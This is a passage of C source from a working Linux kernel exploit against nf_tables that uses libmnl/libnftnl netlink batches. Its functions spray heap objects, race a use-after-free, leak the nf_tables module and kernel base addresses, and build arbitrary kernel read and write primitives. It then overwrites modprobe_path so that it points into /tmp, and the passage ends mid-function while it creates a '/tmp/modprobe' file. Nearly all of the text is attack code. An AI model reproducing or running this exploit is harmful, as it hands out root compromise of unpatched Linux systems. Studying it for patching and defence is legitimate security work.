    if (set == NULL) {
        errx(1, "Cannot into nftnl_set_alloc()");
    }

    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family);
    nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table);
    nftnl_set_set_str(set, NFTNL_SET_NAME, "set_delay");

    uint64_t count = set_elem_key_end - (*set_elem_key);
    if (count > 0x800) {
        count = 0x800;
    }
    while (count > 0) {
        -- count;

        struct nftnl_set_elem *set_elem = nftnl_set_elem_alloc();
        if (set_elem == NULL) {
            errx(1, "Cannot into nftnl_set_elem_alloc()");
        }

        nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_KEY, set_elem_key, sizeof(*set_elem_key));

        nftnl_set_elem_add(set, set_elem);

        ++ (*set_elem_key);
    }

    struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWSETELEM,
        NFPROTO_INET,
        NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK,
        seq++
    );
    nftnl_set_elems_nlmsg_build_payload(nlh, set);
    mnl_nlmsg_batch_next(batch);

    nftnl_set_free(set);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret <= 0)
            break;
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret < 0)
            break;
        table_seq++;
    }
    if (ret == -1) {
        err(1, "Cannot into mnl_socket_recvfrom()");
    }
}


static void pwn_uaf_trigger(struct mnl_socket *nl)
{
    struct mnl_nlmsg_batch *batch;
    uint32_t portid, seq, table_seq;
    int ret;

    printf("pwn_uaf_trigger\n");

    seq = time(NULL);
    batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    append_del_rule(batch, seq++, NFPROTO_INET, "testfirewall", pwn_lookup_chain, -1);

    for (int spray = 2; spray < 10; spray += 2) {
        char *set_name;
        asprintf(&set_name, "spray_set_%04hx", spray);
        append_del_set(batch, seq++, NFPROTO_INET, "testfirewall", set_name);
    }

    append_del_set(batch, seq++, NFPROTO_INET, "testfirewall", "set_delay");

    struct nftnl_set *set = nftnl_set_alloc();
    if (set == NULL) {
        errx(1, "Cannot into nftnl_set_alloc()");
    }

    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family);
    nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table);
    nftnl_set_set_str(set, NFTNL_SET_NAME, pwn_lookup_set);

    struct nftnl_set_elem *set_elem = nftnl_set_elem_alloc();
    if (set_elem == NULL) {
        errx(1, "Cannot into nftnl_set_elem_alloc()");
    }

    nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_KEY, uaf_set_key, sizeof(uaf_set_key));

    nftnl_set_elem_add(set, set_elem);

    struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_DELSETELEM,
        NFPROTO_INET,
        NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK,
        seq++
    );
    nftnl_set_elems_nlmsg_build_payload(nlh, set);
    mnl_nlmsg_batch_next(batch);

    nftnl_set_free(set);

    for (int spray = 2; spray < 10; spray += 2) {
        char *obj_name;
        asprintf(&obj_name, "spray_obj_%04hx", spray);
        append_del_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name);
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret <= 0)
            break;
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret < 0)
            break;
        table_seq++;
    }
    if (ret == -1) {
        err(1, "Cannot into mnl_socket_recvfrom()");
    }
}


static void pwn_uaf_race(struct mnl_socket *nl)
{
    uint32_t portid, seq, table_seq;
    int ret;

    printf("pwn_uaf_race\n");

    uint32_t set_desc_size;
    if (cfg_race_set_slab == 0) {
        set_desc_size = 0x0c;
    }
    else {
        set_desc_size = 0x10;
    }

    seq = time(NULL);
    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    for (int spray = 0; spray != 0x20; ++ spray) {
        char *set_name;
        asprintf(&set_name, "race_set_%04hx", spray);
        pwn_create_set(batch, seq++, set_name, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), set_desc_size, NULL, 0);
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret <= 0)
            break;
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret < 0)
            break;
        table_seq++;
    }
    if (ret == -1) {
        err(1, "Cannot into mnl_socket_recvfrom()");
    }
}


static void pwn_uaf_new_obj(struct mnl_socket *nl)
{
    uint32_t portid, seq, table_seq;
    int ret;

    printf("pwn_uaf_new_obj\n");

    seq = time(NULL);
    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    for (int spray = 0; spray < 0x40; ++ spray) {
        char *obj_name;
        asprintf(&obj_name, "uaf_obj_%04hx_", spray);

        char obj_userdata[uaf_chunk_size];
        memset(obj_userdata, 'C', sizeof(obj_userdata));
        memcpy(obj_userdata, obj_name, strlen(obj_name));

        append_new_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name, obj_userdata, sizeof(obj_userdata));
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret <= 0)
            break;
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret < 0)
            break;
        table_seq++;
    }
    if (ret == -1) {
        err(1, "Cannot into mnl_socket_recvfrom()");
    }
}


int uaf_obj_serial = -1;
uint64_t uaf_log_handle = -1;


static int pwn_uaf_dump_rule_cb(const struct nlmsghdr *nlh, void *data)
{
    struct nftnl_rule *rule = nftnl_rule_alloc();
    if (rule == NULL) {
        errx(1, "Cannot into nftnl_rule_alloc()");
    }

    if (nftnl_rule_nlmsg_parse(nlh, rule) < 0) {
        errx(1, "Cannot into nftnl_rule_nlmsg_parse()");
    }

    struct nftnl_expr_iter *expr_iter = nftnl_expr_iter_create(rule);
    while (1) {
        struct nftnl_expr *expr = nftnl_expr_iter_next(expr_iter);
        if (expr == NULL)
            break;
        const char *name = nftnl_expr_get_str(expr, NFTNL_EXPR_NAME);
        if (strcmp(name, "log") == 0) {
            const char *prefix = nftnl_expr_get_str(expr, NFTNL_EXPR_LOG_PREFIX);
            if (strcmp(prefix, log_prefix) != 0) {
                int serial = -1;
                int res = sscanf(prefix, "uaf_obj_%x_", &serial);
                if (res == 1) {
                    uaf_obj_serial = serial;
                }

                uaf_log_handle = nftnl_rule_get_u64(rule, NFTNL_RULE_HANDLE);

                printf("\nDetected UAF with uaf_obj_serial=%x reusing uaf_log_handle=%lx:", uaf_obj_serial, uaf_log_handle);
                hex_dump(prefix, strlen(prefix));
            }
        }
    }
    nftnl_expr_iter_destroy(expr_iter);

    nftnl_rule_free(rule);

    return MNL_CB_OK;
}


static void pwn_uaf_dump_rule(struct mnl_socket *nl)
{
    uint32_t portid, seq;
    int ret;

    printf("pwn_uaf_dump_rule\n");

    seq = time(NULL);

    struct nftnl_rule *rule = nftnl_rule_alloc();
    if (rule == NULL) {
        errx(1, "Cannot into nftnl_rule_alloc()");
    }

    nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, "testfirewall");

    struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr(
        mnl_batch_buffer,
        NFT_MSG_GETRULE,
        NFPROTO_INET,
        NLM_F_DUMP | NLM_F_ACK,
        seq
    );
    nftnl_rule_nlmsg_build_payload(nlh, rule);
    nftnl_rule_free(rule);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
    while (ret > 0) {
        ret = mnl_cb_run(mnl_batch_buffer, ret, seq, portid, pwn_uaf_dump_rule_cb, NULL);
        if (ret <= 0)
            break;
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
    }
    if (ret == -1) {
        err(1, "Cannot into mnl_socket_recvfrom()");
    }
}


static void pwn_uaf_del_rule(struct mnl_socket *nl)
{
    struct mnl_nlmsg_batch *batch;
    uint32_t portid, seq, table_seq;
    int ret;

    printf("pwn_uaf_del_rule\n");

    seq = time(NULL);
    batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    append_del_rule(batch, seq++, NFPROTO_INET, "testfirewall", pwn_log_chain, uaf_log_handle);

    for (int spray = 2; spray < 15; spray += 3) {
        char *obj_name;
        asprintf(&obj_name, "uaf_obj_%04hx_", (uaf_obj_serial + spray) % 0x40);
        append_del_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name);
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret <= 0)
            break;
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret < 0)
            break;
        table_seq++;
    }
    if (ret == -1) {
        err(1, "Cannot into mnl_socket_recvfrom()");
    }
}


char uaf_obj_userdata[uaf_chunk_size];
int uaf_obj_userdata_valid = 0;


static int pwn_uaf_dump_obj_cb(const struct nlmsghdr *nlh, void *data)
{
    struct nftnl_obj *obj = nftnl_obj_alloc();
    if (obj == NULL) {
        errx(1, "Cannot into nftnl_obj_alloc()");
    }

    if (nftnl_obj_nlmsg_parse(nlh, obj) < 0) {
        errx(1, "Cannot into nftnl_obj_nlmsg_parse()");
    }

    uint32_t userdata_len;
    const void *userdata = nftnl_obj_get_data(obj, NFTNL_OBJ_USERDATA, &userdata_len);

    hex_dump(userdata, userdata_len);
    if (userdata_len == sizeof(uaf_obj_userdata)) {
        memcpy(uaf_obj_userdata, userdata, sizeof(uaf_obj_userdata));
        uaf_obj_userdata_valid = 1;
    }

    nftnl_obj_free(obj);

    return MNL_CB_OK;
}


static void pwn_uaf_dump_obj(struct mnl_socket *nl)
{
    uint32_t portid, seq;
    int ret;

    char *obj_name;
    asprintf(&obj_name, "uaf_obj_%04hx_", uaf_obj_serial);

    printf("pwn_uaf_dump_obj %s\n", obj_name);

    seq = time(NULL);

    struct nftnl_obj *obj = nftnl_obj_alloc();
    if (obj == NULL) {
        errx(1, "Cannot into nftnl_obj_alloc()");
    }

    nftnl_obj_set_u32(obj, NFTNL_OBJ_FAMILY, NFPROTO_INET);
    nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, "testfirewall");
    nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name);
    nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER);

    struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
        mnl_batch_buffer,
        NFT_MSG_GETOBJ,
        NFPROTO_INET,
        NLM_F_ACK,
        seq
    );
    nftnl_obj_nlmsg_build_payload(nlh, obj);
    nftnl_obj_free(obj);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
    while (ret > 0) {
        ret = mnl_cb_run(mnl_batch_buffer, ret, seq, portid, pwn_uaf_dump_obj_cb, NULL);
        if (ret <= 0)
            break;
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
    }
    if (ret == -1) {
        err(1, "Cannot into mnl_socket_recvfrom()");
    }
}


static void pwn_uaf_del_obj(struct mnl_socket *nl, char *obj_name_fmt, int serial)
{
    struct mnl_nlmsg_batch *batch;
    uint32_t portid, seq, table_seq;
    int ret;

    printf("pwn_uaf_del_obj %s %x\n", obj_name_fmt, serial);

    seq = time(NULL);
    batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    for (int spray = 0; spray < 15; spray += 3) {
        char *obj_name;
        asprintf(&obj_name, obj_name_fmt, (serial + spray) % 0x40);
        append_del_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name);
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret <= 0)
            break;
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret < 0)
            break;
        table_seq++;
    }
    if (ret == -1) {
        err(1, "Cannot into mnl_socket_recvfrom()");
    }
}


static void pwn_read_new_obj(struct mnl_socket *nl, uint64_t addr)
{
    uint32_t portid, seq, table_seq;
    int ret;

    printf("pwn_read_new_obj %lx\n", addr);

    seq = time(NULL);
    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    for (int spray = 0; spray < 0x40; ++ spray) {
        char *obj_name;
        asprintf(&obj_name, "read_obj_%04hx_", spray);

        char obj_userdata[uaf_chunk_size];
        memcpy(obj_userdata, uaf_obj_userdata, sizeof(obj_userdata));
        memcpy(obj_userdata + 0x14, obj_name, strlen(obj_name));
        * (uint64_t *) (obj_userdata + 0x68) = 0xffffffffffffffff;
        * (uint64_t *) (obj_userdata + 0x78) = addr;

        append_new_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name, obj_userdata, sizeof(obj_userdata));
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret <= 0)
            break;
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret < 0)
            break;
        table_seq++;
    }
    if (ret == -1) {
        err(1, "Cannot into mnl_socket_recvfrom()");
    }
}


int read_obj_serial = -1;
uint64_t read_quota_consumed = 0;


static int pwn_read_dump_set_elem_cb_elem(struct nftnl_expr *expr, void *data)
{
    struct nftnl_set_elem *set_elem = data;

    const char *name = nftnl_expr_get_str(expr, NFTNL_EXPR_NAME);
    if (strcmp(name, "quota") == 0) {
        uint64_t bytes = nftnl_expr_get_u64(expr, NFTNL_EXPR_QUOTA_BYTES);
        if (bytes == 0xffffffffffffffff) {
            uint32_t set_elem_key_len = -1;
            const void *set_elem_key = nftnl_set_elem_get(set_elem, NFTNL_SET_ELEM_KEY, &set_elem_key_len);

            printf("\nread expr:");
            hex_dump(set_elem_key, set_elem_key_len);

            nftnl_expr_fprintf(stdout, expr, NFTNL_OUTPUT_DEFAULT, 0);
            printf("\n");

            int serial = -1;
            int res = sscanf(set_elem_key, "read_obj_%x_", &serial);
            if (res == 1) {
                read_obj_serial = serial;
                read_quota_consumed = nftnl_expr_get_u64(expr, NFTNL_EXPR_QUOTA_CONSUMED);
            }
        }
    }

    return MNL_CB_OK;
}


static int pwn_read_dump_set_elem_cb(const struct nlmsghdr *nlh, void *data)
{
    struct nftnl_set *set = nftnl_set_alloc();
    if (set == NULL) {
        errx(1, "Cannot into nftnl_set_alloc()");
    }

    if (nftnl_set_elems_nlmsg_parse(nlh, set) < 0) {
        errx(1, "Cannot into nftnl_set_elems_nlmsg_parse()");
    }

    struct nftnl_set_elems_iter *set_elems_iter = nftnl_set_elems_iter_create(set);
    while (1) {
        struct nftnl_set_elem *set_elem = nftnl_set_elems_iter_next(set_elems_iter);
        if (set_elem == NULL)
            break;

        nftnl_set_elem_expr_foreach(set_elem, pwn_read_dump_set_elem_cb_elem, set_elem);
    }
    nftnl_set_elems_iter_destroy(set_elems_iter);

    nftnl_set_free(set);

    return MNL_CB_OK;
}


static void pwn_read_dump_set_elem(struct mnl_socket *nl)
{
    uint32_t portid, seq;
    int ret;

    printf("pwn_read_dump_set_elem\n");

    struct nftnl_set *set = NULL;

    set = nftnl_set_alloc();
    if (set == NULL) {
        errx(1, "Cannot into nftnl_set_alloc()");
    }

    seq = time(NULL);
    struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
        mnl_batch_buffer,
        NFT_MSG_GETSETELEM,
        NFPROTO_INET,
        NLM_F_DUMP | NLM_F_ACK,
        seq
    );
    nftnl_set_set_str(set, NFTNL_SET_NAME, pwn_dynset_set);
    nftnl_set_set_str(set, NFTNL_SET_TABLE, "testfirewall");
    nftnl_set_elems_nlmsg_build_payload(nlh, set);
    nftnl_set_free(set);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
    while (ret > 0) {
        ret = mnl_cb_run(mnl_batch_buffer, ret, seq, portid, pwn_read_dump_set_elem_cb, NULL);
        if (ret <= 0)
            break;
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
    }
    if (ret == -1) {
        err(1, "Cannot into mnl_socket_recvfrom()");
    }
}


static void pwn_write_new_obj(struct mnl_socket *nl, uint64_t addr)
{
    uint32_t portid, seq, table_seq;
    int ret;

    printf("pwn_write_new_obj %lx\n", addr);

    seq = time(NULL);
    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    for (int spray = 0; spray < 0x40; ++ spray) {
        char *obj_name;
        asprintf(&obj_name, "write_obj_%04hx_", spray);

        char obj_userdata[uaf_chunk_size];
        memcpy(obj_userdata, uaf_obj_userdata, sizeof(obj_userdata));
        * (uint64_t *) (obj_userdata + 0x68) = 0xffffffffffffffff;
        * (uint64_t *) (obj_userdata + 0x78) = addr;

        append_new_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name, obj_userdata, sizeof(obj_userdata));
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret <= 0)
            break;
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret < 0)
            break;
        table_seq++;
    }
    if (ret == -1) {
        err(1, "Cannot into mnl_socket_recvfrom()");
    }
}


static int pwn_main()
{
    int res;

    int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(1337);
    addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);

    struct mnl_socket *nl = mnl_socket_open(NETLINK_NETFILTER);
    if (nl == NULL) {
        err(1, "Cannot into mnl_socket_open()");
    }

    if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
        err(1, "Cannot into mnl_socket_bind()");
    }

    memset(log_prefix, 'A', sizeof(log_prefix));
    log_prefix[uaf_chunk_size - 2] = 0;

    pwn_prepare(nl);

    usleep(cfg_initial_usleep);

    pwn_uaf_spray(nl);

    pwn_delay_spray_set(nl);
    uint64_t race_set_elem_key = 0;
    while (race_set_elem_key < cfg_race_set_elem_count) {
        pwn_delay_spray_set_elem(nl, &race_set_elem_key, cfg_race_set_elem_count);
    }

    pwn_uaf_trigger(nl);
    usleep(cfg_race_lead_usleep);
    pwn_uaf_race(nl);
    usleep(cfg_race_lag_usleep);

    pwn_uaf_new_obj(nl);
    pwn_uaf_dump_rule(nl);

    if (uaf_obj_serial < 0) {
        return EAGAIN;
    }

    pwn_uaf_del_rule(nl);
    usleep(cfg_reuse_usleep);

    for (int i = 0; i < 0x40; ++ i) {
        char message[1] = { i };
        res = sendto(sock, message, sizeof(message), 0, (struct sockaddr *) &addr, sizeof(addr));
        if (res != sizeof(message)) {
            err(1, "Cannot into sendto()");
        }
    }

    pwn_uaf_dump_obj(nl);

    if (uaf_obj_userdata_valid != 1) {
        return EAGAIN;
    }

    uint64_t nf_tables_va = * (uint64_t *) (uaf_obj_userdata + 0x50);
    nf_tables_va -= cfg_nft_counter_ops;
    printf("\nnf_tables_va=%lx\n\n", nf_tables_va);
    if ((nf_tables_va & 0xfff) != 0) {
        printf("\n[!] unexpected module base %lx != 0\n", (nf_tables_va & 0xfff));
        return EAGAIN;
    }

    pwn_uaf_del_obj(nl, "uaf_obj_%04hx_", uaf_obj_serial);
    usleep(cfg_reuse_usleep);

    uint64_t read_addr = nf_tables_va + cfg_nft_counter_destroy + cfg_nft_counter_destroy_call_offset;
    pwn_read_new_obj(nl, read_addr);

    pwn_read_dump_set_elem(nl);

    if (read_obj_serial < 0) {
        return EAGAIN;
    }

    int64_t read_data = read_quota_consumed;
    printf("\nread_data=%lx\n", read_data);
    if ((read_data & cfg_nft_counter_destroy_call_mask) != cfg_nft_counter_destroy_call_check) {
        printf("\n[!] code check failure %lx != %lx\n", (read_data & cfg_nft_counter_destroy_call_mask), cfg_nft_counter_destroy_call_check);
        return EAGAIN;
    }
    read_data >>= 0x20;
    read_data += (read_addr + 8);
    uint64_t kernel_va = read_data - cfg_free_percpu;
    printf("\nkernel_va=%lx\n\n", kernel_va);
    if ((kernel_va & 0xfff) != 0) {
        printf("\n[!] unexpected kernel base %lx != 0\n", (kernel_va & 0xfff));
        return EAGAIN;
    }

    pwn_uaf_del_obj(nl, "read_obj_%04hx_", read_obj_serial);
    usleep(cfg_reuse_usleep);

    pwn_write_new_obj(nl, kernel_va + cfg_modprobe_path + 1);

    char sbin[0x8000];
    memcpy(sbin, uaf_obj_userdata + 0x14, 0x34);

    /* "/tmp" - "sbin" */
    int sbin_count = 33821116;
    while (sbin_count != 0) {
        sbin_count -= 0x1c;
        size_t send_size = sbin_count;
        if (send_size > sizeof(sbin))
            send_size = sizeof(sbin) - 0x1c;
        sbin_count -= send_size;
        res = sendto(sock, sbin, send_size, 0, (struct sockaddr *) &addr, sizeof(addr));
        if (res != send_size) {
            err(1, "Cannot into sendto()");
        }
    }

    return 0;
}


static void netdevice_up(char *name)
{
    int res;

    int connection = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    if (connection == -1) {
        err(1, "Cannot into socket()");
    }

    struct ifreq ifreq;
    memset(&ifreq, 0, sizeof(ifreq));
    snprintf(ifreq.ifr_name, IF_NAMESIZE, "%s", name);

    res = ioctl(connection, SIOCGIFFLAGS, &ifreq);
    if (res == -1) {
        err(1, "Cannot into ioctl()");
    }

    ifreq.ifr_flags |= (IFF_UP | IFF_RUNNING);

    res = ioctl(connection, SIOCSIFFLAGS, &ifreq);
    if (res == -1) {
        err(1, "Cannot into ioctl()");
    }

    res = close(connection);
    if (res != 0) {
        err(1, "Cannot into close()");
    }
}


volatile int cpu_spinning = 1;


static void pwn(size_t cpu_set_size, const cpu_set_t *cpu_set, int socketfd)
{
    int res;

    res = sched_setaffinity(0, cpu_set_size, cpu_set);
    if (res != 0) {
        err(1, "Cannot into sched_setaffinity()");
    }

    printf("[*] Putting on seatbelts\n");
    netdevice_up("lo");

    int status = pwn_main();

    printf("[*] Signaling status=%d to coordinator...\n", status);
    res = write(socketfd, &status, sizeof(status));
    if (res != sizeof(status)) {
        err(1, "Cannot into write()");
    }

    while (cpu_spinning) {
        usleep(60 * 1000 * 1000);
    }
}


/****************************************************************************
 *
 * Coordinator
 *
 */


static int clone_helper(void *ctx)
{
    jmp_buf *env = ctx;

    longjmp(*env, 1);
    err(1, "Cannot into pthread_attr_init()");
    return 1;
}


__attribute__((noinline))
static pid_t clone_with_longjmp(unsigned long flags, jmp_buf *env)
{
    char helper_stack_buffer[2 * PTHREAD_STACK_MIN + __BIGGEST_ALIGNMENT__];

    uintptr_t helper_stack_addr = (uintptr_t) helper_stack_buffer;
    helper_stack_addr += PTHREAD_STACK_MIN + __BIGGEST_ALIGNMENT__ - 1;
    helper_stack_addr -= helper_stack_addr % __BIGGEST_ALIGNMENT__;
    void *helper_stack = (void *) helper_stack_addr;

    pid_t pid = clone(clone_helper, helper_stack, flags, env);
    if (pid == -1) {
        err(1, "Cannot into clone()");
    }

    return pid;
}


static void *cpu_spinning_loop(void *)
{
    while (cpu_spinning) {
    }

    return NULL;
}


static void thread_create_with_affinity(pthread_t *thread,
    size_t cpu_set_size, const cpu_set_t *cpu_set,
    void *(*start_routine) (void *), void *arg)
{
    pthread_attr_t attr;
    int res;

    res = pthread_attr_init(&attr);
    if (res != 0) {
        err(1, "Cannot into pthread_attr_init()");
    }
    res = pthread_attr_setaffinity_np(&attr, cpu_set_size, cpu_set);
    if (res != 0) {
        err(1, "Cannot into pthread_attr_setaffinity_np()");
    }
    res = pthread_create(thread, &attr, start_routine, arg);
    if (res != 0) {
        err(1, "Cannot into pthread_create()");
    }
    res = pthread_attr_destroy(&attr);
    if (res != 0) {
        err(1, "Cannot into pthread_attr_destroy()");
    }
}


static void pwn_helper(size_t cpu_set_size, const cpu_set_t *cpu_set,
    char *target_path, char *target_argv[], char *target_envp[])
{
    int res;

    int socketfd[2];
    res = socketpair(AF_UNIX, SOCK_STREAM, 0, socketfd);
    if (res != 0) {
        err(1, "Cannot into socketpair()");
    }

    pid_t pwn_pid = -1;
    jmp_buf env;
    if (setjmp(env) == 0) {
        pwn_pid = clone_with_longjmp(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET | SIGCHLD, &env);
    }
    else {
        res = close(socketfd[0]);
        if (res != 0) {
            err(1, "Cannot into close()");
        }

        char buf[1];
        res = read(socketfd[1], buf, sizeof(buf));
        if (res != sizeof(buf)) {
            err(1, "Cannot into read()");
        }

        printf("[*] Starting PWN Worker\n");
        pwn(cpu_set_size, cpu_set, socketfd[1]);
        err(1, "Unexpected return from exploit()");
    }

    res = close(socketfd[1]);
    if (res != 0) {
        err(1, "Cannot into close()");
    }

    umask(0022);

    printf("[*] Creating \"/tmp/modprobe\"...\n");
    char *modprobe_content;
